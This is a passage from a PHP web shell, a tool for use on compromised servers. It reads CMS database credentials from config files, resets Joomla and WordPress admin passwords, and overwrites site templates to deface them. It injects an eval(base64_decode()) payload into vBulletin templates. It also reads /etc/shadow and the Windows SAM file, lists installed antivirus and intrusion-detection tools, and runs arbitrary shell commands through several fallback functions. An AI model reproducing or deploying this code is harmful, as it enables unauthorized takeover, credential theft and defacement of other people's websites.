1261 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
1262 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1263 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1264 curl_setopt($ch, CURLOPT_HEADER, 0);
1265 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1266 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1267 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1268 $buffer = curl_exec($ch);
1269 echo "<tr align =center>";
1270 echo '<td>admin : 123456789</td>';
1271 $pos = strpos($buffer,"com_config");
1272 if($pos === false)
1273 echo("<td>[-] Login Error</td>");
1274 else
1275 echo("<td><font class=txt>[+] Login Success</font></td>");
1276
1277 $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
1278 $ch = curl_init();
1279 curl_setopt($ch, CURLOPT_URL, $url2);
1280 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1281 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1282 curl_setopt($ch, CURLOPT_HEADER, 0);
1283 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1284 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1285 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1286 $buffer = curl_exec($ch);
1287
1288 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
1289
1290 $url2=$site_url."/index.php?option=com_templates&layout=edit";
1291
1292 $ch = curl_init();
1293 curl_setopt($ch, CURLOPT_URL, $url2);
1294 curl_setopt($ch, CURLOPT_POST, 1);
1295 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
1296
1297 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1298 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1299 curl_setopt($ch, CURLOPT_HEADER, 0);
1300 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1301 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1302 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1303 $buffer = curl_exec($ch);
1304
1305 $pos = strpos($buffer,'<dd class="message message">');
1306 if($pos === false)
1307 {
1308 echo("<td><a href=http://".$site . ">".$site."</a></td><td>Cannot Defaced</td>");
1309 }
1310 else
1311 {
1312 $defcount++;
1313 echo("<td><a href=http://".$site . ">".$site."</a></td><td><font class=txt>Joomla Defaced</font></td>");
1314 }
1315 }
1316 else
1317 {
1318 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
1319 $data = mysql_fetch_array($req);
1320 $template_name=$data["template"];
1321
1322 $url2=$site_url."/index.php";
1323 $ch = curl_init();
1324 curl_setopt($ch, CURLOPT_URL, $url2);
1325 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1326 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1327 curl_setopt($ch, CURLOPT_HEADER, 1);
1328 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1329 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1330 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1331 $buffer = curl_exec($ch);
1332
1333 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
1334
1335 $url2=$site_url."/index.php";
1336 $ch = curl_init();
1337 curl_setopt($ch, CURLOPT_URL, $url2);
1338 curl_setopt($ch, CURLOPT_POST, 1);
1339 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
1340 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1341 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1342 curl_setopt($ch, CURLOPT_HEADER, 0);
1343 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1344 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1345 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1346 $buffer = curl_exec($ch);
1347
1348 $pos = strpos($buffer,"com_config");
1349 echo "<tr align =center>";
1350 echo '<td>admin : 123456789</td>';
1351 if($pos === false)
1352 echo("<td>[-] Login Error</td>");
1353 else
1354 echo("<td><font class=txt>[+] Login Success</font></td>");
1355
1356 $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
1357 $ch = curl_init();
1358 curl_setopt($ch, CURLOPT_URL, $url2);
1359 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1360 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1361 curl_setopt($ch, CURLOPT_HEADER, 0);
1362 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1363 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1364 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1365 $buffer = curl_exec($ch);
1366
1367 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
1368
1369 $url2=$site_url."/index.php?option=com_templates&layout=edit";
1370 $ch = curl_init();
1371 curl_setopt($ch, CURLOPT_URL, $url2);
1372 curl_setopt($ch, CURLOPT_POST, 1);
1373 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
1374 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1375 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1376 curl_setopt($ch, CURLOPT_HEADER, 0);
1377 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1378 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
1379 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
1380 $buffer = curl_exec($ch);
1381
1382 $pos = strpos($buffer,'<dd class="message message fade">');
1383 if($pos === false)
1384 {
1385 echo("<td><a href=http://".$site . ">".$site."</a></td><td>Cannot Deface</td>");
1386 }
1387 else
1388 {
1389 $defcount++;
1390 echo("<td><a href=http://".$site . ">".$site."</a></td><td><font class=txt>Joomla Defaced</font></td>");
1391 }
1392 }
1393 echo "</tr>";
1394 }
1395 function changeindexvb($conf,$index)
1396 {
1397 $dol = '$';
1398
1399 $username = entre2v2($conf,"['MasterServer']['username'] = '","';");
1400 $password = entre2v2($conf,"['MasterServer']['password'] = '","';");
1401 $dbname = entre2v2($conf,"se']['dbname'] = '","';");
1402 $prefix = entre2v2($conf,"['Database']['tableprefix'] = '","';");
1403 $localhost = entre2v2($conf,"['MasterServer']['servername'] = '","';");
1404
1405 $con =@ mysql_connect($localhost,$username,$password);
1406 $db =@ mysql_select_db($dbname,$con);
1407 $ss = mysql_query("SELECT * from `".$prefix."setting` WHERE varname='bburl'");
1408 $data = mysql_fetch_array($ss);
1409
1410 echo "<tr align=center>";
1411 $index=str_replace('"','\\"',$index);
1412 $attack = "{\${eval(base64_decode(\'";
1413 $attack .= base64_encode("echo \"$index\";");
1414 $attack .= "\'))}}{\${exit()}}</textarea>";
1415 $query = "UPDATE ".$prefix."template SET template = '$attack'";
1416 $result =@ mysql_query($query,$con);
1417 if($result)
1418 echo "<td><a href=".$data["value"].">".$data["value"]."</a></td><td><font class=txt><blink>Vbulletin Forum Defaced Successfully</blink></font></td>";
1419 else
1420 echo "<td><a href=".$data["value"].">".$data["value"]."</a></td><td><blink>Cannot Deface Vbulletin Forum</blink></td>";
1421 echo "<tr>";
1422 }
1423 function changeindexwp($conf,$index)
1424 {
1425 $index = urlencode($index);
1426 $dol = '$';
1427 $username = entre2v2($conf,"define('DB_USER', '","');");
1428 $password = entre2v2($conf,"define('DB_PASSWORD', '","');");
1429 $dbname = entre2v2($conf,"define('DB_NAME', '","');");
1430 $prefix = entre2v2($conf,$dol."table_prefix = '","'");
1431 $host = entre2v2($conf,"define('DB_HOST', '","');");
1432 $con =@ mysql_connect($host,$username,$password);
1433 $db =@ mysql_select_db($dbname,$con);
1434 $req1 = mysql_query("UPDATE `".$prefix."users` SET `user_login` = 'admin',`user_pass` = '$1$42REgxSR$.tLV4PSbQmCKsisyCSyhq.'");
1435
1436 if($req1)
1437 {
1438 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='home'");
1439 $data = mysql_fetch_array($req);
1440 $site_url=$data["option_value"];
1441
1442 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='template'");
1443 $data = mysql_fetch_array($req);
1444 $template = $data["option_value"];
1445
1446 $req = mysql_query("SELECT * from `".$prefix."options` WHERE option_name='current_theme'");
1447 $data = mysql_fetch_array($req);
1448 $current_theme = $data["option_value"];
1449
1450 $useragent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)";
1451 $url2=$site_url."/wp-login.php";
1452
1453 $ch = curl_init();
1454 curl_setopt($ch, CURLOPT_URL, $url2);
1455 curl_setopt($ch, CURLOPT_POST, 1);
1456 curl_setopt($ch, CURLOPT_POSTFIELDS,"log=admin&pwd=123456789&rememberme=forever&wp-submit=Log In&testcookie=1");
1457 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1458 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
1459 curl_setopt($ch, CURLOPT_HEADER, 0);
1460 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
1461 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1462 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
1463 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
1464 $buffer = curl_exec($ch);
1465
1466 $pos = strpos($buffer,"action=logout");
1467
1468 $url2=$site_url.'/wp-admin/theme-editor.php?file=index.php&theme='.urlencode($template);
1469 curl_setopt($ch, CURLOPT_URL, $url2);
1470 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
1471 curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
1472 curl_setopt($ch, CURLOPT_HEADER, 0);
1473 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1474 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
1475 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
1476 $buffer0 = curl_exec($ch);
1477
1478 $_wpnonce = entre2v2($buffer0,'<input type="hidden" id="_wpnonce" name="_wpnonce" value="','" />');
1479 $_file = entre2v2($buffer0,'<input type="hidden" name="file" value="','" />');
1480
1481 if(substr_count($_file,"index.php") != 0)
1482 $output .= "<tr align =center>";
1483 $url2=$site_url."/wp-admin/theme-editor.php";
1484 curl_setopt($ch, CURLOPT_URL, $url2);
1485 curl_setopt($ch, CURLOPT_POST, 1);
1486 curl_setopt($ch, CURLOPT_POSTFIELDS,"newcontent=".$index."&action=update&file=".$_file."&_wpnonce=".$_wpnonce."&submit=Update File");
1487 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
1488 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
1489 curl_setopt($ch, CURLOPT_HEADER, 0);
1490 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
1491 curl_setopt($ch, CURLOPT_COOKIEJAR, "COOKIE.txt");
1492 curl_setopt($ch, CURLOPT_COOKIEFILE, "COOKIE.txt");
1493 $buffer = curl_exec($ch);
1494 curl_close($ch);
1495 $pos = strpos($buffer,'<div id="message" class="updated">');
1496 $cond = 0;
1497 if($pos === false)
1498 $output .= "<td><a href=".$site_url.">Site : ".$site_url."</a></td><td>Cannot Deface</td>";
1499 else
1500 $output .= "<td><a href=".$site_url.">Site : ".$site_url."</a></td><td><font class=txt>Wordpress Defaced Successfully</font></td>";
1501 }
1502 else
1503 $output.= "<td colspan=2> DB Error</td>";
1504 echo $output."</tr>";
1505 global $base_path;
1506 unlink($base_path.'COOKIE.txt');
1507 }
1508 function getDisabledFunctions()
1509 {
1510 if(!ini_get('disable_functions'))
1511 {
1512 return "None";
1513 }
1514 else
1515 {
1516 return @ini_get('disable_functions');
1517 }
1518 }
1519 function getFilePermissions($file)
1520 {
1521 $perms = fileperms($file);
1522
1523 if (($perms & 0xC000) == 0xC000) {
1524 // Socket
1525 $info = 's';
1526 } elseif (($perms & 0xA000) == 0xA000) {
1527 // Symbolic Link
1528 $info = 'l';
1529 } elseif (($perms & 0x8000) == 0x8000) {
1530 // Regular
1531 $info = '-';
1532 } elseif (($perms & 0x6000) == 0x6000) {
1533 // Block special
1534 $info = 'b';
1535 } elseif (($perms & 0x4000) == 0x4000) {
1536 // Directory
1537 $info = 'd';
1538 } elseif (($perms & 0x2000) == 0x2000) {
1539 // Character special
1540 $info = 'c';
1541 } elseif (($perms & 0x1000) == 0x1000) {
1542 // FIFO pipe
1543 $info = 'p';
1544 } else {
1545 // Unknown
1546 $info = 'u';
1547 }
1548
1549 // Owner
1550 $info .= (($perms & 0x0100) ? 'r' : '-');
1551 $info .= (($perms & 0x0080) ? 'w' : '-');
1552 $info .= (($perms & 0x0040) ?
1553 (($perms & 0x0800) ? 's' : 'x' ) :
1554 (($perms & 0x0800) ? 'S' : '-'));
1555
1556 // Group
1557 $info .= (($perms & 0x0020) ? 'r' : '-');
1558 $info .= (($perms & 0x0010) ? 'w' : '-');
1559 $info .= (($perms & 0x0008) ?
1560 (($perms & 0x0400) ? 's' : 'x' ) :
1561 (($perms & 0x0400) ? 'S' : '-'));
1562
1563 // World
1564 $info .= (($perms & 0x0004) ? 'r' : '-');
1565 $info .= (($perms & 0x0002) ? 'w' : '-');
1566 $info .= (($perms & 0x0001) ?
1567 (($perms & 0x0200) ? 't' : 'x' ) :
1568 (($perms & 0x0200) ? 'T' : '-'));
1569
1570 return $info;
1571}
1572 function filepermscolor($filename)
1573 {
1574 if(!@is_readable($filename))
1575 return "<font class=readperm>".getFilePermissions($filename)."</font>";
1576 else if(!@is_writable($filename))
1577 return "<font class=noperm>".getFilePermissions($filename)."</font>";
1578 else
1579 return "<font class=wrtperm>".getFilePermissions($filename)."</font>";
1580 }
1581
1582 function yourip()
1583 {
1584 echo $_SERVER["REMOTE_ADDR"];
1585 }
1586 function phpver()
1587 {
1588 $pv=@phpversion();
1589 echo $pv;
1590 }
1591 function magic_quote()
1592 {
1593 echo get_magic_quotes_gpc()?"<font class=txt>ON</font>":"OFF";
1594 }
1595 function serverip()
1596 {
1597 echo @gethostbyname($_SERVER["HTTP_HOST"]);
1598 }
1599 function serverport()
1600 {
1601 echo $_SERVER['SERVER_PORT'];
1602 }
1603 function safe()
1604 {
1605 global $sm;
1606 return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
1607 }
1608 function serveradmin()
1609 {
1610 echo $_SERVER['SERVER_ADMIN'];
1611 }
1612 function systeminfo()
1613 {
1614 echo php_uname();
1615 }
1616 function curlinfo()
1617 {
1618 echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("Disabled");
1619 }
1620 function oracleinfo()
1621 {
1622 echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("Disabled");
1623 }
1624 function mysqlinfo()
1625 {
1626 echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
1627 }
1628 function mssqlinfo()
1629 {
1630 echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
1631 }
1632 function postgresqlinfo()
1633 {
1634 echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("Disabled");
1635 }
1636 function softwareinfo()
1637 {
1638 echo getenv("SERVER_SOFTWARE");
1639 }
1640 function download()
1641 {
1642 $frd=$_GET['download'];
1643 $prd=explode("/",$frd);
1644 for($i=0;$i<sizeof($prd);$i++)
1645 {
1646 $nfd=$prd[$i];
1647 }
1648 @ob_clean();
1649 header("Content-type: application/octet-stream");
1650 header("Content-length: ".filesize($nfd));
1651 header("Content-disposition: attachment; filename=\"".$nfd."\";");
1652 readfile($nfd);
1653
1654 exit;
1655
1656 }
1657
1658 function HumanReadableFilesize($size)
1659 {
1660 $mod = 1024;
1661 $units = explode(' ','B KB MB GB TB PB');
1662 for ($i = 0; $size > $mod; $i++)
1663 {
1664 $size /= $mod;
1665 }
1666 return round($size, 2) . ' ' . $units[$i];
1667 }
1668
1669 function showDrives()
1670 {
1671 global $self;
1672 foreach(range('A','Z') as $drive)
1673 {
1674 if(is_dir($drive.':\\'))
1675 {
1676 $myd = $drive.":\\";
1677 ?>
1678 <a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($myd); ?>')">
1679 <?php echo $myd; ?>
1680 </a>
1681 <?php
1682 }
1683 }
1684 }
1685 function diskSpace()
1686 {
1687 global $dir;
1688 return disk_total_space($dir);
1689 }
1690 function freeSpace()
1691 {
1692 global $dir;
1693 return disk_free_space($dir);
1694 }
1695
1696 function thiscmd($p)
1697 {
1698 $path = myexe('which ' . $p);
1699 if(!empty($path))
1700 return $path;
1701 return false;
1702 }
1703
1704 function mysecinfo()
1705 {
1706 function myparam($n, $v)
1707 {
1708 $v = trim($v);
1709 if($v)
1710 {
1711 echo '<span><font size=3>' . $n . ': </font></span>';
1712 if(strpos($v, "\n") === false)
1713 echo '<font class=txt size=3>' . $v . '</font><br>';
1714 else
1715 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
1716 }
1717 }
1718
1719 myparam('Server software', @getenv('SERVER_SOFTWARE'));
1720 if(function_exists('apache_get_modules'))
1721 myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
1722 myparam('Open base dir', @ini_get('open_basedir'));
1723 myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
1724 myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
1725 $temp=array();
1726 if(function_exists('mysql_get_client_info'))
1727 $temp[] = "MySql (".mysql_get_client_info().")";
1728 if(function_exists('mssql_connect'))
1729 $temp[] = "MSSQL";
1730 if(function_exists('pg_connect'))
1731 $temp[] = "PostgreSQL";
1732 if(function_exists('oci_connect'))
1733 $temp[] = "Oracle";
1734 myparam('Supported databases', implode(', ', $temp));
1735 echo '<br>';
1736
1737 if($GLOBALS['os'] == 'Linux') {
1738 myparam('Distro : ', myexe("cat /etc/*-release"));
1739 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href=javascript:void(0) onClick=\"getmydata('passwd')\">[view]</a>":'no');
1740 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href=javascript:void(0) onClick=\"getmydata('shadow')\">[view]</a>":'no');
1741 myparam('OS version', @file_get_contents('/proc/version'));
1742 myparam('Distro name', @file_get_contents('/etc/issue.net'));
1743 myparam('Where is Perl?', myexe('whereis perl'));
1744 myparam('Where is Python?', myexe('whereis python'));
1745 myparam('Where is gcc?', myexe('whereis gcc'));
1746 myparam('Where is apache?', myexe('whereis apache'));
1747 myparam('CPU?', myexe('cat /proc/cpuinfo'));
1748 myparam('RAM', myexe('free -m'));
1749 myparam('Mount options', myexe('cat /etc/fstab'));
1750 myparam('User Limits', myexe('ulimit -a'));
1751
1752
1753 if(!$GLOBALS['safe_mode']) {
1754 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
1755 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
1756 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
1757 echo '<br>';
1758 $temp=array();
1759 foreach ($userful as $item)
1760 if(thiscmd($item))
1761 $temp[] = $item;
1762 myparam('Userful', implode(', ',$temp));
1763 $temp=array();
1764 foreach ($danger as $item)
1765 if(thiscmd($item))
1766 $temp[] = $item;
1767 myparam('Danger', implode(', ',$temp));
1768 $temp=array();
1769 foreach ($downloaders as $item)
1770 if(thiscmd($item))
1771 $temp[] = $item;
1772 myparam('Downloaders', implode(', ',$temp));
1773 echo '<br/>';
1774 myparam('HDD space', myexe('df -h'));
1775 myparam('Hosts', @file_get_contents('/etc/hosts'));
1776
1777 }
1778 } else {
1779 $repairsam = addslashes($_SERVER["WINDIR"]."\\repair\\sam");
1780 $hostpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\hosts");
1781 $netpath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\\networks");
1782 $sampath = addslashes($_SERVER["WINDIR"]."\system32\drivers\etc\lmhosts.sam");
1783 echo "<font size=3>Password File : </font><a href=".$_SERVER['PHP_SELF']."?download=" . $repairsam ."><b><font class=txt size=3>Download password file</font></b></a><br>";
1784 echo "<font size=3>Config Files : </font><a href=javascript:void(0) onClick=\"fileaction('open','$hostpath')\"><b><font class=txt size=3>[ Hosts ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$netpath')\"><b><font class=txt size=3>[ Local Network Map ]</font></b></a> <a href=javascript:void(0) onClick=\"fileaction('open','$sampath')\"><b><font class=txt size=3>[ lmhosts ]</font></b></a><br>";
1785 $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
1786 echo "<font size=3>Open Base Dir : </font><font class=txt size=3>" . $base . "</font><br>";
1787 myparam('OS Version',myexe('ver'));
1788 myparam('Account Settings',myexe('net accounts'));
1789 myparam('User Accounts',myexe('net user'));
1790 }
1791 echo '</div>';
1792 }
1793
1794
1795
1796 function myexe($in)
1797 {
1798 $out = '';
1799 if (function_exists('exec')) {
1800 @exec($in,$out);
1801 $out = @join("\n",$out);
1802 } elseif (function_exists('passthru')) {
1803 ob_start();
1804 @passthru($in);
1805 $out = ob_get_clean();
1806 } elseif (function_exists('system')) {
1807 ob_start();
1808 @system($in);
1809 $out = ob_get_clean();
1810 } elseif (function_exists('shell_exec')) {
1811 $out = shell_exec($in);
1812 } elseif (is_resource($f = @popen($in,"r"))) {
1813 $out = "";
1814 while(!@feof($f))
1815 $out .= fread($f,1024);
1816 pclose($f);
1817 }
1818 return $out;
1819}
1820function exec_all($command)
1821 {
1822
1823 $output = '';
1824 if(function_exists('exec'))
1825 {
1826 exec($command,$output);
1827 $output = join("\n",$output);
1828 }
1829
1830 else if(function_exists('shell_exec'))
1831 {
1832 $output = shell_exec($command);
1833 }
1834
1835 else if(function_exists('popen'))
1836 {
1837 $handle = popen($command , "r"); // Open the command pipe for reading
1838 if(is_resource($handle))
1839 {
1840 if(function_exists('fread') && function_exists('feof'))
1841 {
1842 while(!feof($handle))
1843 {
1844 $output .= fread($handle, 512);
1845 }
1846 }
1847 else if(function_exists('fgets') && function_exists('feof'))
1848 {
1849 while(!feof($handle))
1850 {
1851 $output .= fgets($handle,512);
1852 }
1853
1854
1855
1856 }
1857 }
1858 pclose($handle);
1859 }
1860
1861
1862 else if(function_exists('system'))
1863 {
1864 ob_start(); //start output buffering
1865 system($command);
1866 $output = ob_get_contents(); // Get the ouput
1867 ob_end_clean(); // Stop output buffering
1868 }
1869
1870 else if(function_exists('passthru'))
1871 {
1872 ob_start(); //start output buffering
1873 passthru($command);
1874 $output = ob_get_contents(); // Get the ouput
1875 ob_end_clean(); // Stop output buffering
1876 }
1877
1878 else if(function_exists('proc_open'))
1879 {
1880 $descriptorspec = array(
1881 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
1882 );
1883 $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
1884 if(is_resource($handle))
1885 {
1886 if(function_exists('fread') && function_exists('feof'))
1887 {
1888 while(!feof($pipes[1]))
1889 {
1890 $output .= fread($pipes[1], 512);
1891 }
1892 }
1893 else if(function_exists('fgets') && function_exists('feof'))
1894 {
1895 while(!feof($pipes[1]))
1896 {
1897 $output .= fgets($pipes[1],512);
1898 }
1899 }
1900 }
1901 pclose($handle);
1902 }
1903
1904 return(htmlspecialchars($output));
1905
1906}
1907
1908$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<font class=txt>ON</font>":"OFF";
1909$etc_passwd=@is_readable("/etc/passwd")?"Yes":"No";
1910
1911function getOGid($value)
1912{
1913 if(!function_exists('posix_getegid')) {
1914 $user = @get_current_user();
1915 $uid = @getmyuid();
1916 $gid = @getmygid();
1917 $group = "?";
1918 $owner = $uid . "/". $gid;
1919 return $owner;
1920 } else {
1921 $name=@posix_getpwuid(@fileowner($value));
1922 $group=@posix_getgrgid(@filegroup($value));
1923 $owner = $name['name']. " / ". $group['name'];
1924 return $owner;
1925 }
1926}
1927if(!function_exists("scandir"))
1928{
1929 function scandir($dir) {
1930 $dh = opendir($dir);
1931 while (false !== ($filename = readdir($dh)))
1932 $files[] = $filename;
1933 return $files;
1934 }
1935}
1936function mainfun($dir)
1937{
1938 global $ind, $directorysperator,$os;
1939
1940 $mydir = basename(dirname(__FILE__));
1941 $pdir = str_replace($mydir,"",$dir);
1942 $pdir = str_replace("/","",$dir);
1943
1944 $files = array();
1945 $dirs = array();
1946
1947 $odir=opendir($dir);
1948 while($file = readdir($odir))
1949 {
1950 if(is_dir($dir.'/'.$file))
1951 {
1952 $dirs[]=$file;
1953 }
1954 else
1955 {
1956 $files[]=$file;
1957 }
1958 }
1959 $countfiles = count($dirs) + count($files);
1960 $dircount = count($dirs);
1961 $dircount = $dircount-2;
1962 $myfiles = array_merge($dirs,$files);
1963 $i = 0;
1964 if(is_dir($dir))
1965 {
1966 if(scandir($dir) === false)
1967 echo "<center><font size=3>Directory isn't readable</font></center>";
1968 else
1969 {
1970?><form method="post" id="myform" name="myform">
1971 <table id="maintable" style="width:100%;" align="center" cellpadding="3">
1972 <tr><td colspan="7"><center><div id="showmydata"></div></center></td></tr>
1973 <tr><td colspan="8" align="center"><font size="3">Listing folder <?php echo $dir; ?></font> (<?php echo $dircount.' Dirs And '.count($files).' Files'; ?>)</td>
1974 <tr height:12px;">
1975 <th>Name</th>
1976 <th>Size</th>
1977 <th>Permissions</th>
1978 <?php if($os != "Windows"){ echo "<th>Owner / Group</th>"; } ?>
1979 <th>Modification Date</th>
1980 <th>Rename</th>
1981 <th>Download</th>
1982 <th style="width:2%;">Action</th>
1983 </tr>
1984 <?php
1985 foreach($myfiles as $val)
1986 {
1987 $vv = addslashes($dir . $directorysperator . $val);
1988 $i++;
1989 if($val == ".")
1990 {
1991 ?><tr class=lines><td><a href=javascript:void(0) onClick="changedir('dir','<?php echo addslashes($dir); ?>')"><font class=txt>[ . ]</font></a></td><td><font size=2>CURDIR</font></td>
1992 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir); ?></a></td>
1993
1994 <?php if($os != 'Windows')
1995 {
1996 echo "<td align=center><font size=2>";
1997 echo getOGid($dir)."</font></td>";
1998 }
1999 ?>
2000
2001 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($vv)); ?></font></td>
2002 <td></td><td></td><td></td></</tr><?php
2003
2004 }
2005 else if($val == "..")
2006 {
2007 $val = Trail($dir . $directorysperator . $val,$directorysperator);
2008 $vv = addslashes($val);
2009 if(empty($vv))
2010 $vv = "/"; ?>
2011 <tr class=lines><td class='info'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')"><font class=txt>[ .. ]</font></a></td><td><font size=2>UPDIR</font></td>
2012 <td><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($val); ?></a></td>
2013 <?php if($os != 'Windows')
2014 {
2015 echo "<td align=center><font size=2>";
2016 echo getOGid($val)."</font></td>";
2017
2018 } ?>
2019 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($val)); ?></font></td>
2020 <td></td><td></td><td></td></tr><?php continue;
2021 }
2022 }
2023 foreach($myfiles as $val)
2024 {
2025 $vv = addslashes($dir . $directorysperator . $val);
2026 $i++;
2027
2028 if(is_dir($vv))
2029 {
2030 if($val == "." || $val == "..")
2031 continue; ?>
2032 <tr class=lines>
2033 <td class='dir'><a href=javascript:void(0) onClick="changedir('dir','<?php echo $vv; ?>')">[ <?php echo $val; ?> ]</a></td>
2034 <td class='info'><font size=2>DIR</font></td>
2035
2036 <td class='info'><a href=javascript:void(0) onClick="fileaction('perms','<?php echo $vv; ?>')"><?php echo filepermscolor($dir . $directorysperator . $val); ?></a></td>
2037 <?php if($os != 'Windows')
2038 {
2039 echo "<td align=center><font size=2>";
2040 echo getOGid($val)."</font></td>";
2041 } ?>
2042 <td align="center"><font class=txt><?php echo date('Y-m-d H:i:s', @filemtime($dir . $directorysperator . $val)); ?></font></td>
2043 <td class="info"><a href=javascript:void(0) onClick="fileaction('rename','<?php echo $vv; ?>')"><font size=2>Rename</font></a></td>
2044 <td></td>
2045 <td class="info" align="center"><input type="checkbox" name="actbox[]" id="actbox<?php echo $i; ?>" value="<?php echo $dir . $directorysperator . $val;?>"></td>
2046 </tr></font>
2047 <?php
2048 }
2049 else if(is_file($vv))
2050 {
2051 ?>
2052 <tr class=lines>
2053 <td class='file'><a href=javascript:void(0) onClick="fileaction('open','<?php echo $vv; ?>')"><?php if(("/" .$val == $_SERVER["SCRIPT_NAME"]) || ($val == "index.php") || ($val == "index.html") || ($val == "config.php") || ($val == "wp-config.php")) { echo "<font color=red>". $val . "</font>"; } else { echo $val; } ?></a> <?php if($val == "index.php" || $val == "index.html") { if(strlen($ind) != 0) { echo "<a href=javascript:void(0) onClick=\"defacefun('$vv')\"><font color=red>( Deface IT )</font></a>"; } } ?></td>
2054
